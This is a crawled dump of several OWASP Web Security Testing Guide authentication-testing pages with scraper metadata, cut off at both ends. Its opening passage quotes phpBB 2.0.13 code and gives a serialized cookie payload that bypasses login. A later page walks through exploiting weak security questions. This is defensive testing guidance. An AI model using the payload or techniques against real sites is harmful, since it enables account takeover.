2.0.13 - Authentication Bypass Vulnerability), at line 5 the unserialize() function parses a user supplied cookie and sets values inside the $row array. At line 10 the user’s MD5 password hash stored inside the back end database is compared to the one supplied.\n\n```\nif (isset($HTTP_COOKIE_VARS[$cookiename . '_sid']) { $sessiondata = isset($HTTP_COOKIE_VARS[$cookiename . '_data']) ? unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : array(); $sessionmethod = SESSION_METHOD_COOKIE; } if(md5($password) == $row['user_password'] && $row['user_active']) { $autologin = (isset($HTTP_POST_VARS['autologin'])) ? TRUE : 0; } \n```\n\nIn PHP, a comparison between a string value and a boolean value (1 and `TRUE`) is always `TRUE`, so by supplying the following string (the important part is `b:1`) to the `unserialize()` function, it is possible to bypass the authentication control:\n\n```\na:2:{s:11:\"autologinid\";b:1;s:6:\"userid\";s:1:\"2\";}\n```\n\n## Tools\n\n- [WebGoat](https://owasp.org/www-project-webgoat/)\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n\n## References\n\n### Whitepapers\n\n- Mark Roxberry: “PHPBB 2.0.13 vulnerability”\n- [David Endler: “Session ID Brute Force Exploitation and Prediction”](https://www.cgisecurity.com/lib/SessionIDs.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6741, "slov": 956, "odkazu": 182, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:20", "sha256": "b217c25a14c911b762af34bccbd2590310a145b4dc18f4bc477f4061779b6bc0", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://www.cgisecurity.com/lib/SessionIDs.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/05-Testing_for_Vulnerable_Remember_Password", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/05-Testing_for_Vulnerable_Remember_Password", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/05-Testing_for_Vulnerable_Remember_Password", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "04-Authentication Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Vulnerable Remember Password"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.2\n\n# Testing for Vulnerable Remember Password\n\n| ID |\n| --- |\n| WSTG-ATHN-05 |\n\n## Summary\n\nCredentials are the most widely used authentication technology. Due to such a wide usage of username-password pairs, users are no longer able to properly handle their credentials across the multitude of used applications.\n\nIn order to assist users with their credentials, multiple technologies surfaced:\n\n- Applications provide a *remember me* functionality that allows the user to stay authenticated for long periods of time, without asking the user again for their credentials.\n- Password Managers - including browser password managers - that allow the user to store their credentials in a secure manner and later on inject them in user-forms without any user intervention.\n\n## Test Objectives\n\n- Validate that the generated session is managed securely and do not put the user’s credentials in danger.\n\n## How to Test\n\nAs these methods provide a better user experience and allow the user to forget all about their credentials, they increase the attack surface area. Some applications:\n\n- Store the credentials in an encoded fashion in the browser’s storage mechanisms, which can be verified by following the [web storage testing scenario](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/12-Testing_Browser_Storage) and going through the [session analysis](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema#session-analysis) scenarios. Credentials shouldn’t be stored in any way in the client-side application, and should be substitued by tokens generated server-side.\n- Automatically inject the user’s credentials that can be abused by:\n - [ClickJacking](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking) attacks.\n - [CSRF](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery) attacks.\n- Tokens should be analyzed in terms of token-lifetime, where some tokens never expire and put the users in danger if those tokens ever get stolen. Make sure to follow the [session timeout](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/07-Testing_Session_Timeout) testing scenario.\n\n## Remediation\n\n- Follow [session management](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) good practices.\n- Ensure that no credentials are stored in clear text or are easily retrievable in encoded or encrypted forms in browser storage mechanisms; they should be stored server-side and follow good [password storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html) practices.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2958, "slov": 347, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:22", "sha256": "688384757a53fdb787e6f898f588aea9c13d0de88298ab95ba5c720c7c61eee2", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "04-Authentication Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Browser Cache Weaknesses"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Browser History"}, {"uroven": 3, "text": "Browser Cache"}, {"uroven": 4, "text": "Reviewing Cached Information"}, {"uroven": 4, "text": "Check Handling for Mobile Browsers"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.2\n\n# Testing for Browser Cache Weaknesses\n\n| ID |\n| --- |\n| WSTG-ATHN-06 |\n\n## Summary\n\nIn this phase the tester checks that the application correctly instructs the browser to not retain sensitive data.\n\nBrowsers can store information for purposes of caching and history. Caching is used to improve performance, so that previously displayed information doesn’t need to be downloaded again. History mechanisms are used for user convenience, so the user can see exactly what they saw at the time when the resource was retrieved. If sensitive information is displayed to the user (such as their address, credit card details, Social Security Number, or username), then this information could be stored for purposes of caching or history, and therefore retrievable through examining the browser’s cache or by simply pressing the browser’s **Back** button.\n\n## Test Objectives\n\n- Review if the application stores sensitive information on the client-side.\n- Review if access can occur without authorization.\n\n## How to Test\n\n### Browser History\n\nTechnically, the **Back** button is a history and not a cache (see [Caching in HTTP: History Lists](https://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.13)). The cache and the history are two different entities. However, they share the same weakness of presenting previously displayed sensitive information.\n\nThe first and simplest test consists of entering sensitive information into the application and logging out. Then the tester clicks the **Back** button of the browser to check whether previously displayed sensitive information can be accessed whilst unauthenticated.\n\nIf by pressing the **Back** button the tester can access previous pages but not access new ones, then it is not an authentication issue, but a browser history issue. If these pages contain sensitive data, it means that the application did not forbid the browser from storing it.\n\nAuthentication does not necessarily need to be involved in the testing. For example, when a user enters their email address in order to sign up to a newsletter, this information could be retrievable if not properly handled.\n\nThe **Back** button can be stopped from showing sensitive data. This can be done by:\n\n- Delivering the page over HTTPS.\n- Setting `Cache-Control: must-revalidate`\n\n### Browser Cache\n\nHere testers check that the application does not leak any sensitive data into the browser cache. In order to do that, they can use a proxy (such as OWASP ZAP) and search through the server responses that belong to the session, checking that for every page that contains sensitive information the server instructed the browser not to cache any data. Such a directive can be issued in the HTTP response headers with the following directives:\n\n- `Cache-Control: no-cache, no-store`\n- `Expires: 0`\n- `Pragma: no-cache`\n\nThese directives are generally robust, although additional flags may be necessary for the `Cache-Control` header in order to better prevent persistently linked files on the file system. These include:\n\n- `Cache-Control: must-revalidate, max-age=0, s-maxage=0`\n\n```\nHTTP/1.1:\nCache-Control: no-cache\n```\n\n```\nHTTP/1.0:\nPragma: no-cache\nExpires: \"past date or illegal value (e.g., 0)\"\n```\n\nFor instance, if testers are testing an e-commerce application, they should look for all pages that contain a credit card number or some other financial information, and check that all those pages enforce the `no-cache` directive. If they find pages that contain critical information but that fail to instruct the browser not to cache their content, they know that sensitive information will be stored on the disk, and they can double-check this simply by looking for the page in the browser cache.\n\nThe exact location where that information is stored depends on the client operating system and on the browser that has been used. Here are some examples:\n\n- Mozilla Firefox:\n - Unix/Linux: `~/.cache/mozilla/firefox/`\n - Windows: `C:\\Users\\\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\\\Cache2\\`\n- Internet Explorer:\n - `C:\\Users\\\\AppData\\Local\\Microsoft\\Windows\\INetCache\\`\n- Chrome:\n - Windows: `C:\\Users\\\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache`\n - Unix/Linux: `~/.cache/google-chrome`\n\n#### Reviewing Cached Information\n\nFirefox provides functionality for viewing cached information, which may be to your benefit as a tester. Of course the industry has also produced various extensions, and external apps which you may prefer or need for Chrome, Internet Explorer, or Edge.\n\nCache details are also available via developer tools in most modern browsers, such as [Firefox](https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector#Cache_Storage), [Chrome](https://developers.google.com/web/tools/chrome-devtools/storage/cache), and Edge. With Firefox it is also possible to use the URL `about:cache` to check cache details.\n\n#### Check Handling for Mobile Browsers\n\nHandling of cache directives may be completely different for mobile browsers. Therefore, testers should start a new browsing session with clean caches and take advantage of features like Chrome’s [Device Mode](https://developers.google.com/web/tools/chrome-devtools/device-mode) or Firefox’s [Responsive Design Mode](https://developer.mozilla.org/en-US/docs/Tools/Responsive_Design_Mode) to re-test or separately test the concepts outlined above.\n\nAdditionally, personal proxies such as ZAP and Burp Suite allow the tester to specify which `User-Agent` should be sent by their spiders/crawlers. This could be set to match a mobile browser `User-Agent` string and used to see which caching directives are sent by the application being tested.\n\n### Gray-Box Testing\n\nThe methodology for testing is equivalent to the black-box case, as in both scenarios testers have full access to the server response headers and to the HTML code. However, with gray-box testing, the tester may have access to account credentials that will allow them to test sensitive pages that are accessible only to authenticated users.\n\n## Tools\n\n- [OWASP Zed Attack Proxy](https://www.zaproxy.org)\n\n## References\n\n### Whitepapers\n\n- [Caching in HTTP](https://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6170, "slov": 872, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:23", "sha256": "3625f43127b6fe561aa2eb50c4d088d0a7c8ba6cb2ea7ee774b0b30e7279dcc3", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html", "https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector", "https://developers.google.com/web/tools/chrome-devtools/storage/cache", "https://developers.google.com/web/tools/chrome-devtools/device-mode", "https://developer.mozilla.org/en-US/docs/Tools/Responsive_Design_Mode", "https://www.zaproxy.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "04-Authentication Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Weak Password Policy"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Weak Password Policy\n\n| ID |\n| --- |\n| WSTG-ATHN-07 |\n\n## Summary\n\nThe most prevalent and most easily administered authentication mechanism is a static password. The password represents the keys to the kingdom, but is often subverted by users in the name of usability. In each of the recent high profile hacks that have revealed user credentials, it is lamented that most common passwords are still: `123456`, `password` and `qwerty`.\n\n## Test Objectives\n\n- Determine the resistance of the application against brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse, and aging requirements of passwords.\n\n## How to Test\n\n1. What characters are permitted and forbidden for use within a password? Is the user required to use characters from different character sets such as lower and uppercase letters, digits and special symbols?\n2. How often can a user change their password? How quickly can a user change their password after a previous change? Users may bypass password history requirements by changing their password 5 times in a row so that after the last password change they have configured their initial password again.\n3. When must a user change their password?\n - Both [NIST](https://pages.nist.gov/800-63-3/sp800-63b.html#memsecretver) and [NCSC](https://www.ncsc.gov.uk/collection/passwords/updating-your-approach#PasswordGuidance:UpdatingYourApproach-Don'tenforceregularpasswordexpiry) recommend **against** forcing regular password expiry, although it may be required by standards such as PCI DSS.\n4. How often can a user reuse a password? Does the application maintain a history of the user’s previous used 8 passwords?\n5. How different must the next password be from the last password?\n6. Is the user prevented from using his username or other account information (such as first or last name) in the password?\n7. What are the minimum and maximum password lengths that can be set, and are they appropriate for the sensitivity of the account and application?\n8. Is it possible set common passwords such as `Password1` or `123456` ?\n\n## Remediation\n\nTo mitigate the risk of easily guessed passwords facilitating unauthorized access there are two solutions: introduce additional authentication controls (i.e. two-factor authentication) or introduce a strong password policy. The simplest and cheapest of these is the introduction of a strong password policy that ensures password length, complexity, reuse and aging; although ideally both of them should be implemented.\n\n## References\n\n- [Brute Force Attacks](https://owasp.org/www-community/attacks/Brute_force_attack)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2704, "slov": 384, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:23", "sha256": "6c4d913d5c959d2f92751c8d432c9b77712a8da9bfa5335bbf6259fea82a79b6", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://pages.nist.gov/800-63-3/sp800-63b.html", "https://www.ncsc.gov.uk/collection/passwords/updating-your-approach", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "04-Authentication Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Weak Security Question Answer"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Pre-generated Questions"}, {"uroven": 3, "text": "Self-generated Questions"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for Weak Pre-generated Questions"}, {"uroven": 3, "text": "Testing for Weak Self-Generated Questions"}, {"uroven": 3, "text": "Testing for Brute-forcible Answers"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Weak Security Question Answer\n\n| ID |\n| --- |\n| WSTG-ATHN-08 |\n\n## Summary\n\nOften called “secret” questions and answers, security questions and answers are often used to recover forgotten passwords (see [Testing for weak password change or reset functionalities](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/09-Testing_for_Weak_Password_Change_or_Reset_Functionalities), or as extra security on top of the password.\n\nThey are typically generated upon account creation and require the user to select from some pre-generated questions and supply an appropriate answer. They may allow the user to generate their own question and answer pairs. Both methods are prone to insecurities.Ideally, security questions should generate answers that are only known by the user, and not guessable or discoverable by anybody else. This is harder than it sounds.\nSecurity questions and answers rely on the secrecy of the answer. Questions and answers should be chosen so that the answers are only known by the account holder. However, although a lot of answers may not be publicly known, most of the questions that websites implement promote answers that are pseudo-private.\n\n### Pre-generated Questions\n\nThe majority of pre-generated questions are fairly simplistic in nature and can lead to insecure answers. For example:\n\n- The answers may be known to family members or close friends of the user, e.g. “What is your mother’s maiden name?”, “What is your date of birth?”\n- The answers may be easily guessable, e.g. “What is your favorite color?”, “What is your favorite baseball team?”\n- The answers may be brute forcible, e.g. “What is the first name of your favorite high school teacher?” - the answer is probably on some easily downloadable lists of popular first names, and therefore a simple brute force attack can be scripted.\n- The answers may be publicly discoverable, e.g. “What is your favorite movie?” - the answer may easily be found on the user’s social media profile page.\n\n### Self-generated Questions\n\nThe problem with having users to generate their own questions is that it allows them to generate very insecure questions, or even bypass the whole point of having a security question in the first place. Here are some real world examples that illustrate this point:\n\n- “What is 1+1?”\n- “What is your username?”\n- “My password is S3cur ty!”\n\n## Test Objectives\n\n- Determine the complexity and how straight-forward the questions are.\n- Assess possible user answers and brute force capabilities.\n\n## How to Test\n\n### Testing for Weak Pre-generated Questions\n\nTry to obtain a list of security questions by creating a new account or by following the “I don’t remember my password”-process. Try to generate as many questions as possible to get a good idea of the type of security questions that are asked. If any of the security questions fall in the categories described above, they are vulnerable to being attacked (guessed, brute-forced, available on social media, etc.).\n\n### Testing for Weak Self-Generated Questions\n\nTry to create security questions by creating a new account or by configuring your existing account’s password recovery properties. If the system allows the user to generate their own security questions, it is vulnerable to having insecure questions created. If the system uses the self-generated security questions during the forgotten password functionality and if usernames can be enumerated (see [Testing for Account Enumeration and Guessable User Account](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account), then it should be easy for the tester to enumerate a number of self-generated questions. It should be expected to find several weak self-generated questions using this method.\n\n### Testing for Brute-forcible Answers\n\nUse the methods described in [Testing for Weak lock out mechanism](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism) to determine if a number of incorrectly supplied security answers trigger a lockout mechanism.\n\nThe first thing to take into consideration when trying to exploit security questions is the number of questions that need to be answered. The majority of applications only need the user to answer a single question, whereas some critical applications may require the user to answer two or even more questions.\n\nThe next step is to assess the strength of the security questions. Could the answers be obtained by a simple Google search or with social engineering attack? As a penetration tester, here is a step-by-step walkthrough of exploiting a security question scheme:\n\n- Does the application allow the end user to choose the question that needs to be answered? If so, focus on questions which have:\n - A “public” answer; for example, something that could be find with a simple search-engine query.\n - A factual answer such as a “first school” or other facts which can be looked up.\n - Few possible answers, such as “what model was your first car”. These questions would present the attacker with a short list of possible answers, and based on statistics the attacker could rank answers from most to least likely.\n- Determine how many guesses you have if possible.\n - Does the password reset allow unlimited attempts?\n - Is there a lockout period after X incorrect answers? Keep in mind that a lockout system can be a security problem in itself, as it can be exploited by an attacker to launch a Denial of Service against legitimate users.\n - Pick the appropriate question based on analysis from the above points, and do research to determine the most likely answers.\n\nThe key to successfully exploiting and bypassing a weak security question scheme is to find a question or set of questions which give the possibility of easily finding the answers. Always look for questions which can give you the greatest statistical chance of guessing the correct answer, if you are completely unsure of any of the answers. In the end, a security question scheme is only as strong as the weakest question.\n\n## References\n\n- [The Curse of the Secret Question](https://www.schneier.com/essay-081.html)\n- [The OWASP Security Questions Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6565, "slov": 970, "odkazu": 180, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:25", "sha256": "c3fe054e0e06caa0781f2eda9fb28365913cce4fa0f1496d0ff3bbf1c4729604", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.schneier.com/essay-081.html", "https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/09-Testing_for_Weak_Password_Change_or_Reset_Functionalities", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/09-Testing_for_Weak_Password_Change_or_Reset_Functionalities", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/09-Testing_for_Weak_Password_Change_or_Reset_Functionalities", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "04-Authentication Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Weak Password Change or Reset Functionalities"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Test Password Reset"}, {"uroven": 3, "text": "Test Password Change"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Weak Password Change or Reset Functionalities\n\n| ID |\n| --- |\n| WSTG-ATHN-09 |\n\n## Summary\n\nThe password change and reset function of an application is a self-service password change or reset mechanism for users. This self-service mechanism allows users to quickly change or reset their password without an administrator intervening. When passwords are changed they are typically changed within the application. When passwords are reset they are either rendered within the application or emailed to the user. This may indicate that the passwords are stored in plain text or in a decryptable format.\n\n## Test Objectives\n\n- Determine the resistance of the application to subversion of the account change process allowing someone to change the password of an account.\n- Determine the resistance of the passwords reset functionality against guessing or bypassing.\n\n## How to Test\n\nFor both password change and password reset it is important to check:\n\n1. if users, other than administrators, can change or reset passwords for accounts other than their own.\n2. if users can manipulate or subvert the password change or reset process to change or reset the password of another user or administrator.\n3. if the password change or reset process is vulnerable to [CSRF](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery) .\n\n### Test Password Reset\n\nIn addition to the previous checks it is important to verify the following:\n\n- What information is required to reset the password? The first step is to check whether secret questions are required. Sending the password (or a password reset link) to the user email address without first asking for a secret question means relying 100% on the security of that email address, which is not suitable if the application needs a high level of security. On the other hand, if secret questions are used, the next step is to assess their strength. This specific test is discussed in detail in the [Testing for Weak security question/answer](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer) paragraph of this guide.\n- How are reset passwords communicated to the user? The most insecure scenario here is if the password reset tool shows you the password; this gives the attacker the ability to log into the account, and unless the application provides information about the last log in the victim would not know that their account has been compromised. A less insecure scenario is if the password reset tool forces the user to immediately change their password. While not as stealthy as the first case, it allows the attacker to gain access and locks the real user out. The best security is achieved if the password reset is done via an email to the address the user initially registered with, or some other email address; this forces the attacker to not only guess at which email account the password reset was sent to (unless the application show this information) but also to compromise that email account in order to obtain the temporary password or the password reset link.\n- Are reset passwords generated randomly? The most insecure scenario here is if the application sends or visualizes the old password in clear text because this means that passwords are not stored in a hashed form, which is a security issue in itself. The best security is achieved if passwords are randomly generated with a secure algorithm that cannot be derived.\n- Is the reset password functionality requesting confirmation before changing the password? To limit denial-of-service attacks the application should email a link to the user with a random token, and only if the user visits the link then the reset procedure is completed. This ensures that the current password will still be valid until the reset has been confirmed.\n\n### Test Password Change\n\nIn addition to the previous test it is important to verify:\n\n- Is the old password requested to complete the change? The most insecure scenario here is if the application permits the change of the password without requesting the current password. Indeed if an attacker is able to take control of a valid session they could easily change the victim’s password.\nSee also [Testing for Weak password policy](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy) paragraph of this guide.\n\n## Remediation\n\nThe password change or reset function is a sensitive function and requires some form of protection, such as requiring users to re-authenticate or presenting the user with confirmation screens during the process.\n\n## References\n\n- [OWASP Forgot Password Cheat 